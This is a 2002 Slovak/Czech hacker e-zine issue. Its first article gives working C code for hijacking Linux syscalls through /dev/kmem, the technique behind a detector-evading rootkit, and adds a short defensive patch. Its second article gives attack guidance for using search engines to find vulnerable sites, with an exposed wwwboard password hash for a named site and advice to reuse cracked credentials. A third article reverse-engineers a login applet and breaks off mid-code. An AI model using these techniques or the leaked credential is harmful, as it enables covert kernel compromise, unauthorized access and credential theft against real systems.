::::::::::. :::::::..   :::.,::::::   :::         ...     .        :   
    `;;;```.;;;;;;;``;;;;  ;;;;;;;''''   ;;;      .;;;;;;;.  ;;,.    ;;;  
     `]]nnn]]'  [[[,/[[['  [[[ [[cccc    [[[     ,[[     \[[,[[[[, ,[[[[, 
      $$$""     $$$$$$c    $$$ $$""""    $$'     $$$,     $$$$$$$$$$$"$$$ 
      888o      888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
      YMMMb     MMMM   "W" MMM """"YUMMM""""YUMMM  "YMMMMMP" MMM  M'  "MMM

   prielom #17, 27.02.02 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/


obsah




intro

ked priblizne pred rokom server underground.cz vyhlasil sutaz, ktorej cielom bolo najst co najviac programatorskych chyb v dynamicky generovanych strankach, ci uz napisanych v php, asp, perle alebo akomkolvek inom jazyku, vsetci ucastnici sa istotne dobre zabavali. aspon ja osobne urcite. kedze administratori a webmasteri inkriminovanych nepodarkov boli informovani (cudovali by ste sa, kolko ludi absolutne ignoruje nastavenie povinnych mailovych aliasov akym je napriklad postmaster@) a vseobecne povedomie o bezpecnosti sa zda byt na lepsej urovni ako v minulosti, dalo by sa ocakavat, ze aj zasluhou takejto akcie sa uroven zabezpecenia na slovenskom a ceskom internete zlepsi a programatori a admini sa poucia. opak je vsak pravdou. namatkovo som si osvedcenou metodou nasiel zopar desiatok webov a musim povedat, ze bezpecnostnymi chybami trpi vacsie percento stranok ako pred rokom. a to ani nespominam tie z minulorocneho sutazneho blacklistu, velke mnozstvo z nich je stale v povodnom stave. este viac zarazajucim faktom je vsak to, ze na maily, v ktorych som upozornoval niekolkych webmasterov a administratorov deravych webov som nedostal ani jednu jedinu odpoved. vsetky z nich este dnes stale trpia tym istym problemom. niektori ludia sa nikdy nepoucia...

mnoho z vas uz bolo skalopevne presvedcenych, ze prielom zmizol z povrchu zemskeho. zial, musim vas sklamat, nove cislo je tu a kilobajty z dalsieho si uz alokovali svoje miesto na mojom disku. v exhibicii tych, ktori sa nehanbili a prispeli do tohto cisla sa objavia temy ako patchovanie linuxoveho kernelu on-the-fly (clanok, ktory sme dostali k dispozicii uz skor, medzitym stihol vyjst v magazine phrack #58. napriek tomu ho uverejnime, nie kazdy vie po anglicky alebo cita phrack). o tom, ako mozu byt webove vyhladavace uzitocne sa presvedcili uz ucastnici minulorocnej sutaze, nieco viac sa dozviete v dalsom prispevku. o dalsich ludoch, co sa nikdy nepoucia je clanok od juraja bednara, mohol by sa tiez volat "na slovensku je to tak". ipsec pre mnohych uz davno nie je len pathlaskovou skratkou, ostatni maju sancu dozvediet sa zakladne informacie prave tu a teraz. show dnes zakonci johny s reportazou, ktora ma ten spravny folklorny nadycho, ak ste neboli na h2k, aspon sa pozrite ako to tam vyzeralo. snad zase nabuduce...

salo, 26.02.02, bratislava




patchovani linuxoveho /dev/kmem

"mem is a character device file that is an image of the main memory of the computer. it may be used, for example, to examine (and even patch) the system."
    -- gnu/linux, mem(4)

cas od casu si clovek potrebuje trosku pohrat s kernelem. zpravidla k tomu slouzi vice ci mene kvalitni kernelovy moduly, kterych uz existuje pekna radka. ja se tady zamerim na tema, jak se da upravit za behu kernel bez system.map, lkm supportu a jejich pribuznych, jenom ciste pres /dev/kmem. a abyste nerekli, ze sem skrt, je k dispozici i ukazka, jak to muze fungovat v praxi, kompletni rootkit pro 2.2.x a 2.4.x serie kernelu, vicemene prvni sveho druhu. pokud jeste furt nevis "wocogo", bude rozumejsi si trosku pobrowsovat kernel, zaklady assembleru a minimalni znalosti jak funguji syscall a kernel/user mechanismy jsou nutnosti...

/dev/kmem

vsechno, co si tu ukazeme, funguje pres /dev/kmem, coz, jak jiste vsichni vime, je virtualni obraz systemu, ktery se chova jako soubor. to znamena, muzeme nastavovat pozici pres lseek(), cist/psat pres read()/write() a to je asi tak vsechno :). samozrejme, tohle nefunguje jen tak od prirody, musime mit pravo zapisovat na zarizeni a proces, ktery open() provadi, musi mit CAP_SYS_RAWIO, protoze kernel si tuhle capability nejdriv zkontroluje, nez nam dovoli kmem otevrit.

zmena syscallu

syscally jsou z pohledu user-levelu (t.j. aplikaci) nejnizsi uroven systemu v linuxu, takze ty nas budou zajimat nejvice. jejich adresy jsou ulozeny v jedne tabulce (sys_call_table), 256 pointeru, tzn. indexovani cislem syscallu v tabulce nam da pointer na handler danyho syscallu.

priklad v pseudokodu:

/* ukazka, "hello world" ;-) */

/* puvodni syscall */
int (*old_write) (int, char *, int);

/* new syscall handler */
new_write(int fd, char *buf, int count) {
        if (fd == 1) {  /* stdout ? */
                old_write(fd, "hello world!\n", 13);
                return count;
        } else {
                return old_write(fd, buf, count);
        }
}

old_write = (void *) sys_call_table[__NR_write]; /* uloz starej */
sys_call_table[__NR_write] = (ulong) new_write;  /* nastav novej */

/* no, urcite muzeme delat lepsi veci nez zprasit konzoli
   textem "hello world" :) */

tohle je klasickej scenar vsech moznych lkm rootkitu, tty snifferu/hijackeru atd. kde je zaruceno, ze mame importovanou sys_call_table a muzeme s ni zachazet podle libovule. v praxi to znamena, ze insmod ji resolvne do import sekce modulu. [ create_module() / init_module() ... ]

sys_call_table bez pouziti lkm

samozrejme, ve svete neni vsechno tak jednoduche a casto bude kernel zkompilovan bez podpory lkm. to znamena zadnej insmod, zadny /proc/ksyms a tak dale. kernel v tomto pripade neuchovava zadnou informaci o symbolech ... mno, proc taky? na debugovani? od toho je system.map. jenze my adresu sys_call_table potrebujeme, jestli chceme neco menit :).

docela elegantni zpusob muze byt:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

struct {
        unsigned short limit;
        unsigned int base;
} __attribute__ ((packed)) idtr;

struct {
        unsigned short off1;
        unsigned short sel;
        unsigned char none,flags;
        unsigned short off2;
} __attribute__ ((packed)) idt;

int kmem;
void readkmem (void *m,unsigned off,int sz)
{
        if (lseek(kmem,off,SEEK_SET)!=off) {
                perror("kmem lseek"); exit(2);
        }
        if (read(kmem,m,sz)!=sz) {
                perror("kmem read"); exit(2);
        }
}

#define CALLOFF 100     /* precteme 100 bajtu handleru int $0x80*/
main ()
{
        unsigned sys_call_off;
        unsigned sct;
        char sc_asm[CALLOFF],*p;

        /* precteme IDTR */
        asm ("sidt %0" : "=m" (idtr));
        printf("idtr base at 0x%X\n",(int)idtr.base);

        /* votevri kmem */
        kmem = open ("/dev/kmem",O_RDONLY);
        if (kmem<0) return 1;

        /* precti IDT pro int $0x80 */
        readkmem (&idt,idtr.base+8*0x80,sizeof(idt));
        sys_call_off = (idt.off2 << 16) | idt.off1;
        printf("idt80: flags=%X sel=%X off=%X\n",
                (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);

        /* mame handler, ted budeme hledat neco jako
	   call   *0xadresa(,%eax,4) */
        readkmem (sc_asm,sys_call_off,CALLOFF);
        p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);
        sct = *(unsigned*)(p+3);
        if (p) {
                printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n",
                        sct, p);
        }
        close(kmem);
}

jak to funguje? detaily o idt zde rozebirat nebudu, viz. intelacka dokumentace :), sidt instrukce se "zepta" procesoru [asm ("sidt %0" : "=m" (idtr));] kde je ulozena struktura informaci o idt, z teto struktury dostaneme adresu idt deskriptoru pro int $0x80 [readkmem (&idt,idtr.base+8*0x80,sizeof(idt));] z toho se pak da uz snadno odvodit vstupni adresa int $0x80 [sys_call_off = (idt.off2 << 16) | idt.off1;]

takze ted vime, kam procesor skace, kdyz nekdo zavola int $0x80. tak se na nej podivame bliz:

[sd@pikatchu linux]$ gdb -q /usr/src/linux/vmlinux
(no debugging symbols found)...(gdb) disass system_call
Dump of assembler code for function system_call:
0xc0106bc8 <system_call>:       push   %eax
0xc0106bc9 <system_call+1>:     cld
0xc0106bca <system_call+2>:     push   %es
0xc0106bcb <system_call+3>:     push   %ds
0xc0106bcc <system_call+4>:     push   %eax
0xc0106bcd <system_call+5>:     push   %ebp
0xc0106bce <system_call+6>:     push   %edi
0xc0106bcf <system_call+7>:     push   %esi
0xc0106bd0 <system_call+8>:     push   %edx
0xc0106bd1 <system_call+9>:     push   %ecx
0xc0106bd2 <system_call+10>:    push   %ebx
0xc0106bd3 <system_call+11>:    mov    $0x18,%edx
0xc0106bd8 <system_call+16>:    mov    %edx,%ds
0xc0106bda <system_call+18>:    mov    %edx,%es
0xc0106bdc <system_call+20>:    mov    $0xffffe000,%ebx
0xc0106be1 <system_call+25>:    and    %esp,%ebx
0xc0106be3 <system_call+27>:    cmp    $0x100,%eax
0xc0106be8 <system_call+32>:    jae    0xc0106c75 <badsys>
0xc0106bee <system_call+38>:    testb  $0x2,0x18(%ebx)
0xc0106bf2 <system_call+42>:    jne    0xc0106c48 <tracesys>
0xc0106bf4 <system_call+44>:    call   *0xc01e0f18(,%eax,4) <-- to je ono
0xc0106bfb <system_call+51>:    mov    %eax,0x18(%esp,1)
0xc0106bff <system_call+55>:    nop
End of assembler dump.
(gdb) print &sys_call_table
$1 = (<data variable, no debug info> *) 0xc01e0f18      <-- pointr na sct
(gdb) x/xw (system_call+44)
0xc0106bf4 <system_call+44>:    0x188514ff <-- opcode (little endian)
(gdb)

(system_call je symbol handleru int $0x80) uz je asi jasne, o co nam pujde, staci kdyz budeme hledat [memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);] vypln call *0xadresa(%eax,4) .. neprimej skok na adresu v sys_call_table podle cisla v eax, strojove by to melo byt:

0xff 0x14 0x85 0x[addresa]

nutno poznamenat, ze zde se muze uplatnit o neco vice paranoidni hack, a to zmenit vektor int $0x80 primo v idt na nas handler a zachytavat syscally tam, jenze to by znamenalo vice assembleru, semafory a takovy ty osklivosti :).

takze ted vime, kde mame sys_call_table, ted muzeme zmenit adresu nejakeho syscallu:

pseudokod:

        readkmem(&old_write, sct + __NR_write * 4, 4); /* save old */
        writekmem(new_write, sct + __NR_write * 4, 4); /* set new */

presmerovani tabulky syscallu

v praxi existuji dve metody, jak presmerovat nejaky syscall. bud primo zmenit adresu v kernelovej sys_call_table, nebo vytvorit jeji kopii s modifikovanymi adresami a prinutit int $0x80 handler aby ji pouzival. my pouzijeme druhou metodu, protoze vetsina takzvanych "rootkit detektoru" to moc neprokoukne.

pseudokod:

        ulong sct = adresa kernelovej sys_call_table[]
        char *p = pointer na int 0x80 instrukci call sct(,eax,4)
        ulong nsct[256] = nova tabulka s modifikovanejma adresama

        readkmem(nsct, sct, 1024);      /* precti starou */
        old_write = nsct[__NR_write];   /* zmen syscall(y) */
        nsct[__NR_write] = new_write;
        /* a podstrc handleru nasi adresu :) */
        writekmem((ulong) p+3, nsct, 4);

	/* nutno poznamenat, ze tohle realne nemuze fungovat,
	   protoze nemuzeme jentak beztrestne presmerovat neco
	   v kernelu do userspace ... */

vytvorime kopii originalni tabulky [readkmem(nsct, sct,1024);], zmenime syscally, ktere nas zajimaji [nsct[__NR_write] = new_write;] a pak zmenime jenom argument instrukce call *adresa(%eax,4) primo v handleru int $0x80.

0xc0106bf4 <system_call+44>:    call   *0xc01e0f18(,%eax,4)
                                        ~~~~|~~~~~
                                            |__ tady bude adresa
                                                nasi (upravene) sct[]

alokovani pameti v kernelu bez lkm

dalsi vec, co potrebujeme j,e pamet v kernelu, to znamena nad limitem 0xc0000000. hodnota 0xc000000 je pomyslna delici cara mezi userspacem a kernelem, userspace proces nema zpravidla moznost zapisovat nad tento limit. jeste poznamenejme ze tato hranice nemusi byt 0xc0000000, ale cokoli jineho, takze je rozumne ji odhadnou za behu (treba z adresy int $0x80 handleru). nuze, jak ziskat par stranek pameti nad timto limitem ? podivame se jak to normalni kernel dela (/usr/src/linux/kernel/module.c):

[...]
void inter_module_register(const char *im_name, struct module *owner,
                           const void *userdata)
{
        struct list_head *tmp;
        struct inter_module_entry *ime, *ime_new;

        if (!(ime_new = kmalloc(sizeof(*ime), GFP_KERNEL))) {
                /* Overloaded kernel, not fatal */
[...]

hmm, uplne normalni kmalloc, jenze tuto funkci zatim jeste nemuzeme zavolat, ponevadz:

- nezname jeji adresu (viz nize)
- nezname hodnotu GFP_KERNEL prave bezicihi kernelu
- nemuzeme volat kernel primo z userspace

vyhledani kmalloc()

pokud prece jenom muzeme pouzit LKM, je to jednoduche:

ulong   get_sym(char *n) {
        struct  kernel_sym      tab[MAX_SYMS];
        int     numsyms;
        int     i;

        numsyms = get_kernel_syms(NULL);
        if (numsyms > MAX_SYMS || numsyms < 0) return 0;
        get_kernel_syms(tab);
        for (i = 0; i < numsyms; i++) {
                if (!strncmp(n, tab[i].name, strlen(n)))
                        return tab[i].value;
        }
        return 0;
}

ulong   get_kma(ulong pgoff)
{
        ret = get_sym("kmalloc");
        if (ret) return ret;
        return 0;
}

komentar viz `man get_kernel_syms`.

pokud tady ale lkm neni, nastavaji krusne casy, jedine co nas napadlo je takova znouzectnost. prozkoukame .text sekci kernelu a budeme hledat vyplne typu:

        push    GFP_KERNEL <neco mezi 0-0xffff>
        push    size       <neco mezi 0-0x1ffff>
        call    kmalloc

vytvorime malou statistiku a funkce ktera nam vyjde jako nejcasteji volana bude *mozna* kmalloc :) presnost neni zrovna nejlepsi, zpravidla vychazi tak 80% nalezu na kmalloc() a 20% na nakej balast okolo, ale je to bez lkm, tak se stim da zit :)

kod:

/* kmalloc() vyhledavani */
#define RNUM 1024
ulong   get_kma(ulong pgoff)
{
        struct { uint a,f,cnt; } rtab[RNUM], *t;
        uint            i, a, j, push1, push2;
        uint            found = 0, total = 0;
        uchar           buf[0x10010], *p;
        int             kmem;
        ulong           ret;

        /* nez skusime neco bruteforcovat, skusime to nejdrif podobrem */
        ret = get_sym("kmalloc");
        if (ret) return ret;

        /* mno, tak ne, no */
        kmem = open(KMEM_FILE, O_RDONLY, 0);
        if (kmem < 0) return 0;
        for (i = (pgoff + 0x100000); i < (pgoff + 0x1000000);
             i += 0x10000) {
                if (!loc_rkm(kmem, buf, i, sizeof(buf))) return 0;
                /* prozkoumej blok a hledej push/push/call pattern */
                for (p = buf; p < buf + 0x10000;) {
                        switch (*p++) {
                                case 0x68:
                                        push1 = push2;
                                        push2 = *(unsigned*)p;
                                        p += 4;
                                        continue;
                                case 0x6a:
                                        push1 = push2;
                                        push2 = *p++;
                                        continue;
                                case 0xe8:
                                        if (push1 && push2 &&
                                            push1 <= 0xffff &&
                                            push2 <= 0x1ffff) break;
                                default:
                                        push1 = push2 = 0;
                                        continue;
                        }
                        /* mame have push1/push2/call seq; ted adresu */
                        a = *(unsigned *) p + i + (p - buf) + 4;
                        p += 4;
                        total++;
                        /* skus najit v tabulce */
                        for (j = 0, t = rtab; j < found; j++, t++)
                                if (t->a == a && t->f == push1) break;
                        if (j < found)
                                t->cnt++;
                        else
                                if (found >= RNUM) {
                                        return 0;
                                }
                                else {
                                        found++;
                                        t->a = a;
                                        t->f = push1;
                                        t->cnt = 1;
                                }
                        push1 = push2 = 0;
                } /* for (p = buf; ... */
        } /* for (i = (pgoff + 0x100000) ...*/
        close(kmem);
        t = NULL;
        for (j = 0;j < found; j++)  /* najdi viteze */
                if (!t || rtab[j].cnt > t->cnt) t = rtab+j;
        if (t) return t->a;
        return 0;
}

uvedeny zdrojak si nedela nejak moc velke starosti s exotickejma optionama gcc, kod kernelu muze klidne vypadat uplne jinak (trebars kmalloc() jako inline :). mohli by sme zvysit presnost hledanim presnych hodnot GFP_KERNEL (viz. nize), ale prakticky to neni nutny.

GFP_KERNEL

toto je parametr kmalloc(), ktery specifikuje typ pameti, jakou chceme alokovat. samozrejme vyvojari kernelu neleni a release od releasu kernelu se ta hodnota lehce lisi, coz nam pridelava spoustu potizi, kdyz danou hodnotu netrefime a kernel vyblije do klogd peknej dvoustrankovej ooops. zatim to resim tak, ze si zistim verzi kernelu a podle toho pouziju danou hodnotu, ale nevypada to zrovna nejstastneji. zvlaste s 2.4.7-2.4.9, kde to jednou chodi, jednou ne...

+------------------------------+
| verze kernelu  | GFP_KERNEL  |
+----------------+-------------+
| 1.0.x .. 2.4.5 |     0x3     |
+----------------+-------------+
| 2.4.6 .. 2.4.x |     0x1f0   |
+----------------+-------------+

tato tabulka neni presna. vychazi jen z faktu, ze timhle spusobem to vetsinou funguje. jsou to hodnoty, ktere muzeme pouzit (btw, pokud si nekdo da tu praci a zisti mi hodnoty pro special-kernely od suse, redhatu, slacku atd, budu jedine rad, obvzlaste u rady 2.4.x :).

a tady kod:

/* uname struc */
struct un {
        char    sysname[65];
        char    nodename[65];
        char    release[65];
        char    version[65];
        char    machine[65];
        char    domainname[65];
};

int     get_gfp()
{
        struct un s;
        uname(&s);
        if ((s.release[0] == '2') && (s.release[2] == '4') &&
            (s.release[4] >= '6' ||
            (s.release[5] >= '0' && s.release[5] <= '9'))) {
                return NEW_GFP;
        }
        return OLD_GFP;
}

prepsani syscallu pro alokaci pameti

Jak uz sem rek, nemuzeme volat kmalloc() primo z userspacu, takze pouzijem malej trik:

1. vemem adresu nejakeho malo pouzivaneho syscallu (IDT -> int 0x80 -> sys_call_table)
2. udelame malou rutinu, ktera obsahujici call na kmalloc() a vrati adresu alokovane pameti
3. ulozime si sizeof(nase_rutina) bajtu z kodu naseho malo pouzivaneho syscallu
4. prepiseme tento syscall nasi rutinou
5. zavolame tento syscall z userspace pres int $0x80, cimz rutina operuje v kernel space a muze volat kmalloc(), to ucini a vrati nam pointer na pamet
6. obnovit puvodni kod naseho malo pouzivaneho syscallu

ta rutina muze vypadat treba takhle:

struct  kma_struc {
        ulong   (*kmalloc) (uint, int);
        int     size;
        int     flags;
        ulong   mem;
} __attribute__ ((packed));

int     our_routine(struct kma_struc *k)
{
        k->mem = k->kmalloc(k->size, k->flags);
        return 0;
}

zde ja primo predam z userspacu strukturu s potrebnymi hodnotami, velikost muzeme dat natvrdo, zpravidla staci 32-48 bajtu.

co dal? kdyz tohle vsechno skloubime dohromady, muzeme relativne efektivne vyuzit /dev/kmem za ucelem nejake neplechy :). to znamena zjistit int $0x80 handler, zjistit sys_call_table, alokovat pamet v kernelu, do ni nakopirovat kod handleru nasich syscallu, podstrcit falesnou sys_call_table int $0x80 handleru a hotovo.

na co davat pozor

- na verze kernelu (myslim tim GFP_KERNEL)
- hrat si jenom se syscallama, pouzivani struktur kernelu jako task_struct neni rozumny, protoze obsah se meni kernel od kernelu, a mi prece nechceme porad kompilovat :)
- smp muze obcas delat problemy, taky psat procedury reentrantne, kde to je treba pouzivat zamky

jak se branit?

nuze, ted budeme chvili ti hodni. co nam z toho vsecho vyplyva? /dev/kmem se prakticky rovna lkm, akorat je to trosku komplikovanejsi. pokud chceme zamezit pripadnym h4x0rum zneuzivanim tyhle techniky, muzeme skusit tenhle patch:

--- /usr/src/linux/drivers/char/mem.c   Mon Apr  9 13:19:05 2001
+++ /usr/src/linux/drivers/char/mem.c   Sun Nov  4 15:50:27 2001
@@ -49,6 +51,8 @@
 const char * buf, size_t count, loff_t *ppos)
 {
	ssize_t written;
+       /* disable kmem write */
+       return -EPERM;

  written = 0;
  #if defined(__sparc__) || defined(__mc68000__)

kterej zaruci, ze z /dev/kmem pujde jen cist, mozna to spusobi urcitou nekompatibilitu s nejakyma prehistorickyma utils... nezakompilovat podporu pro lkm je samozrejmosti, jinak to vsechno ztraci smysl :).

odkazy

[1] silvio cesare's homepage, spousta informaci o podobnych vecech
[2] silvio's article, article primo o kernel patching (se system.map)
[3] quantumg's homepage, zajimave veci jako viry pod linux
[4] "abuse of the linux kernel for fun and profit" zaklady lkm :)
[5] "(nearly) complete linux loadable kernel modules. the definitive guide for hackers, virus coders and system administrators."
[6] "indetectable linux kernel modules" by spacewalker, idea implantovani sys_call_table primo do int $0x80 handleru
[7] suckit - pro deti na hrani - ia32 2.2.x/2.4.x rootkit vyuzivajici tuhle techniku, v soucasnej dobe trosku out-of-date

sd, sd(at)sf.cz

navrat na obsah
co ty na to ? board


utoky, utoky, ach tie utoky

koordinacne centrum cert odhaduje, ze pocet utokov na pocitacove systemy v roku 2001 prekroci hodnotu 40000, co je dvojnasobok poctu incidentov hlasenych minuly rok. pravdepodobne pojde o virtualne utoky, nemyslim zeby niekto nahlasoval ze vyfackal svoj pocitac pretoze mu opat spadol jeho (ne)oblubeny operacny system.

zvacseniu poctu utokov napomohlo najma priaznive prostredie (nedostatky v zabezpeceni systemov) a existencia navodov ako postupovat. tento text nema ani nahodou za ciel vam davat navod na utok, ale ma sluzit len ako studijny material pre ludii, ktori sa zaoberaju bezpecnostou pocitacovych systemov.

na pocitacove systemy sa utoci z rovnakeho dovodu ako na ine ciele. pre zabavu, alebo pre zisk (prestize, penazi, cohokolvek). existuje niekolko sposobov ako zautocit na pocitacovy system a zaroven sa vyhnut odhaleniu. pravdepodobne najlepsi sposob ako sa vyhnut problemom, je dat urobit riskantnu pracu niekomu inemu. najlepsie anonymne a bez velkych nakladov. musime najst niekoho, koho nebude zaujimat kto sme, niekoho kto nema tolko inteligencie, aby sa bal rizika, niekoho kto nekladie hlupe otazky, niekoho, komu nebudeme musiet platit. najmime si robotov.

pocitacovy system je mozne ohrozit z vnutra alebo z vonku. v tomto clanku sa nebudeme zaoberat internymi utokmi (mame pristup do systemu, na ktory je utok zamerany), ale obratime pozornost na cast, ktora obsahuje vacsiu vyzvu, na napadnutie systemu z vonku, z akejkolvek casti internetu.

vyber ciela

k prevedeniu utoku su potrebne minimalne dve veci. utocnik a ciel. v nasledujucich riadkoch budeme uvazovat ze utocnikom sme my. ako ciel utoku si mozme vybrat len jeden pocitac, alebo mozme zautocit na viacero podobnych cielov sucasne. utok na jeden ciel je mozne chapat ako podmnozinu hromadneho utoku, takze sa nim nebudeme specialne zaoberat. isto vas napadne ze pre utok voci viacerym cielom je najlepsie extrahovat zoznam cielov, napr. z databaz pridelenych dns mien, alebo ip adries. no, nieje to celkom dobry napad. poucme sa na priklade z nedalekej minulosti, ked sa cervo-virus nimda vyuzivajuci chybu v iis od microsoftu pokusal napadnut vsetko co malo (aj nemalo) http server. je to ako keby sme sa pokusali odomknut fab klucom vsetky zamky na ktore narazime, ved zamok ako zamok, nie? urcite bude lepsou metodou vytipovat si vsetky fab zamky a tie podrobit blizsiemu, velmi intimnemu skumaniu. priamo sa nam natiska slovny zvrat: "a co som robot?!". bingo. nechame to robotom. stretavame sa s nimi stale, vuzivame ich takmer kazdy den. su to vyhladavacie sluzby. google, altavista, yahoo, lycos a kto vie este, pod akymi krycimi menami sa skryvaju. zadame im vhodne naformulovanu poziadavku a oni nam radi a ochotne vychrlia zoznam cielov, ktorym stoji za to sa venovat.

zaujimaju nas systemy, ktore su napadnutelne zvonku. systemy, ktore voci internetu disponuju slabinami. slabinami, ktore su oficialne nazyvane sluzbami. sluzby, v ktorych sa neprestajne objavuju nove a nove chyby. podla nich si vyberieme nase ciele. vyhladavacie sluzby ich uz pre nas zmapovali, alebo ich pre nas zmapuju. protokol http, server poskytujuci stranky pisane v php, jave. aplikacie poskytujuce rozhranie pre webove prehliadace. a je toho este ovela viac.

prieskum

pred zahajenim utoku si robime prieskum. oplati sa to, ciastocne tym vylucime neuspech utoku. nenapadne si obzrieme miesto nasho buduceho uderu. vyhodnotime ziskane informacie, poopravime strategiu. bohuzial, tu uz zacina riziko, vstupujeme na nebezpecnu podu. mozme nas prieskum ciastocne zamaskovat, no urcite sa niekomu budeme zdat podozrivi. najlepsie, co mozme urobit, je poslat niekoho namiesto nas. roboti su neunavni, ked nam pomohli s vyberom cielov, pomozu nam aj s prieskumom. pokial uz to neurobili iniciativne sami. ak je sluzba, na ktoru sa zameriavame avizovana niekde na www, roboti ju urcite nasli a zaradili do svojej bazy dat. ak nie, pripravime im slusne susto. zoznam systemov spolu so zoznamom vyuzitelnych slabin. a pockame si. vysledky na seba zvycajne nedavaju dlho cakat. a ak si robotov pracujucich pre nas niekto vsimne, no a co? robotom je v dnesnej dobe dovolene to, co sa normalnym smrtelnikom neprepaci ani nahodou.

utok

ked sme pri prieskume zacinali riskovat, teraz sliapeme po minovom poli. samotny utok mozme previest osobne, ale, naozaj je nutne riskovat odhalenie? viete o nejakom generalovi, ktory by bojoval v prednej lini? sposoby pouzite pri prieskume, su velmi dobre aplikovatelne aj pri utoku. staci nam len dat prieskumnikom zbrane a rozkaz k utoku. je vela zle naprogramovanych sluzieb, ktore zlozi vhodne napisany vstupny retazec. retazec, ktory namiesto nas posle vyhliadnutemu cielu pricinlivy robot. staci mu ho len naservirovat a vyckat.

prax

po par kilobajtoch hlupo a nudne napisanej teorie je cas siahnut po par prikladoch. v prielome 16 napisal salo clanok [1] o tom, ako pouzit www vyhladavace pre najdenie chybne napisanych php stranok.

druhy priklad sa bude tykat aplikacie napisanej v perle, wwwboard od matt wrighta. jedna sa o script, ktory na www umiestnuje nastenku. tato nastenke je spravovatelna cez www interface. wwwboard ma v implicitnej instalacii volne cez web pristupny subor s menom a heslom spravcu nastenky. pre najdenie servrov, ktore obsahuju wwwboard sa nam staci opytat napr. vyhladavaca google nasledovnu otazku:

http://www.google.com/search?q=allinurl:+wwwboard&num=100&start=0&sa=N&filter=0

dostaneme priblizne 2,720,000 odkazov na wwwboard. ak napr. za url `http://www.bizweb2000.com/wwwboard/' pridame passwd.txt, dostaneme vystup `bizweb20:gcxmt4ul6.j0s'. takze mozme urobit stranku s odkazom `http://www.bizweb2000.com/wwwboard/passwd.txt' a po jej najdeni robotom, si vystup cisto a bezbolestne vyzdvihnut v databaze vyhladavaca. skuste si odkaz:

http://www.google.com/search?q=allinurl:+wwwboard/passwd.txt&num=100&sa=N&filter=0.

sposob enkrypcie je znamy, ako ziskat povodne heslo, tiez. to nam staci aby sme sme si nastenku upravili podla svojho. a ked uz mame meno a heslo, preco ich nevyskusat na systeme, na ktorom wwwboard bezi, pripadne na stroji, z ktoreho sa spravca hlasi? mozte na to vziat jed, ze nie kazdy si vymysla jedinecne hesla pre svoje systemy.

neexistuje sposob ako zabranit takymto utokom. jedina ochrana je pouzivanie dobre a bezpecne napisanych programov a ich spravna konfiguracia. ale kto dnes vie ci je program beziaci prave na vasom pocitaci dobre a bezpecne napisany? nikto. len cas ukaze.

pouzite zdroje:

[1] prielom 16: salo, php nase kazdodenne
[2] phrack, issue 0x39, phile #0x0a: michal zalewski, against the system: rise of the robots
[3] cnn.com record year for security breaks expected
[4] information technology -- essential but vulnerable: how prepared are we for attacks?

mikulas papuca s priatelkou, prielom(at)hysteria.sk

navrat na obsah
co ty na to ? board


ako eurotel varil hadi olej

kde bolo, tam bolo, boli raz v nasej malej krajine dvaja operatori, ktori neposkytovali vsetkym svojim klientom sluzbu posielania ich e-mailov vo forme sms spravy na mobil zdarma, tak ako je to zvykom v kazdej inej civilizovanej krajine (napriklad v cechach). preto sa ludia -- obcania internetu -- rozhodli, ze si tuto sluzbu naprogramuju. pre klientov eurotelu bol najjednoduchsi sposob pouzit sluzbu www.diar.sk (ked uz vsetky zahranicne brany zaviedli limit na pocet odoslanych sms). ta vo svojich podmienkach taketo nieco nezakazovala, preto to bolo idealne riesenie -- bolo uplne legalne.

jeden znamy, ktory bol na navsteve v el&t -- firme, zaoberajucej sa vyvojom aplikacie diar, mi hovoril, ako mu ukazovali, ze si z toho robi vela ludi vlastnu sms branu na podobne ucely, ale ze im to nevadi. neskor vsak asi zmenili nazor (pravdepodobne v euroteli) a rozhodli sa zakazat posielanie sprav na vlastne cislo. toto by efektivne zabranilo sms notifikacii (ktora bola uplne v sulade s pravidlami). vtedy sa nenaslo par rozumnych hlav a dohodlo sa na vzajomnom posielani (ja posielam tebe a ty mne). takto to par mesiacov (zase bez akehokolvek porusenia pravidiel) fungovalo. dost ludi pouzivalo moj softver diarlib.

zrazu sa vsetko zlomilo a konta, ktore boli udajne ,,zneuzivane'' na posielanie kratkych textovych sprav boli zablokovane. vtedy som sa rozhodol, ze to nema zmysel a svoje posielanie smsiek som zrusil. niektori vsak svoju pravdu obhajili a konta im boli znovu obnovene (kedze pravidla pouzivania aplikacie boli na ich strane a prevadzkovatel nemal dovod im konta zablokovat). pri odpovedi vsak bola cynicka poznamka v style ,,iste vam vsak nebude vadit zmeneny sposob prihlasovania s pouzitim java appletu''.

skutocne, na www.diar.sk sa objavil nasledovny text:

od 1. marca 2002 bude zavedeny denny limit na pocet odoslanych sms sprav z jedneho konta na 10. tak isto bude zavedene opatrenie, ak sa pouzivatel neprihlasi po dobu 90 dni do diara bude mu pozastavene zasielanie udalosti.

od 6. februara 2002 je zavedena zmena v sposobe prihlasovania. prihlasovaci dialog je rieseny java appletom z dovodu prenosu mena a hesla v kryptovanom tvare.

z uvedeneho je vsak zjavne, ze tu neslo o ziadny kryptovany tvar, ale o ,,znemoznenie'' e-mailovej notifikacie. samozrejme, opatrenie maximalne desat kratkych textovych sprav je ich pravom (niekedy rozmyslam, ze by mozno nebolo zle kupit si nejaku sim kartu v cechach a pouzivat ju s roamingom u nas -- budem vyuzivat siet nasich operatorov, ale starostlivost o zakaznika, e-mailova notifikacia a fakturacia ostane na kolegoch cechoch).

osobne ma vsak zaujimala bezpecnost toho java appletu, kedze ako tvrdia, zaviedli ho kvoli prenosu hesla v kryptovanom tvare. po nainstalovani javy do mojho prehliadaca (konqueror) a zapnuti sniffra sme s par kolegami prisli na to, ako je to cele ,,sifrovane''. za chvilu vznikol nasledovny program, ktory robil presne to, co spominany java applet (a tak som mohol javu znova vymazat, ale povedal som si, ze ked uz mi funguje, tak si ju necham):

void genlogin () {

        unsigned char s[85], s1[85];
        unsigned char chr[3];
        int i;

        srandom (time (NULL));
        for (i = 0; i < 85; i++) {
                s1[i] = 0;
                s[i] = 0;
        }

        sprintf (s, "%s#%s#", USER, PASSWORD);

        for (i = strlen (s); i < 42; i++)
                s[i] = random () % 255;

        for (i = 0; i < 42; i++) {
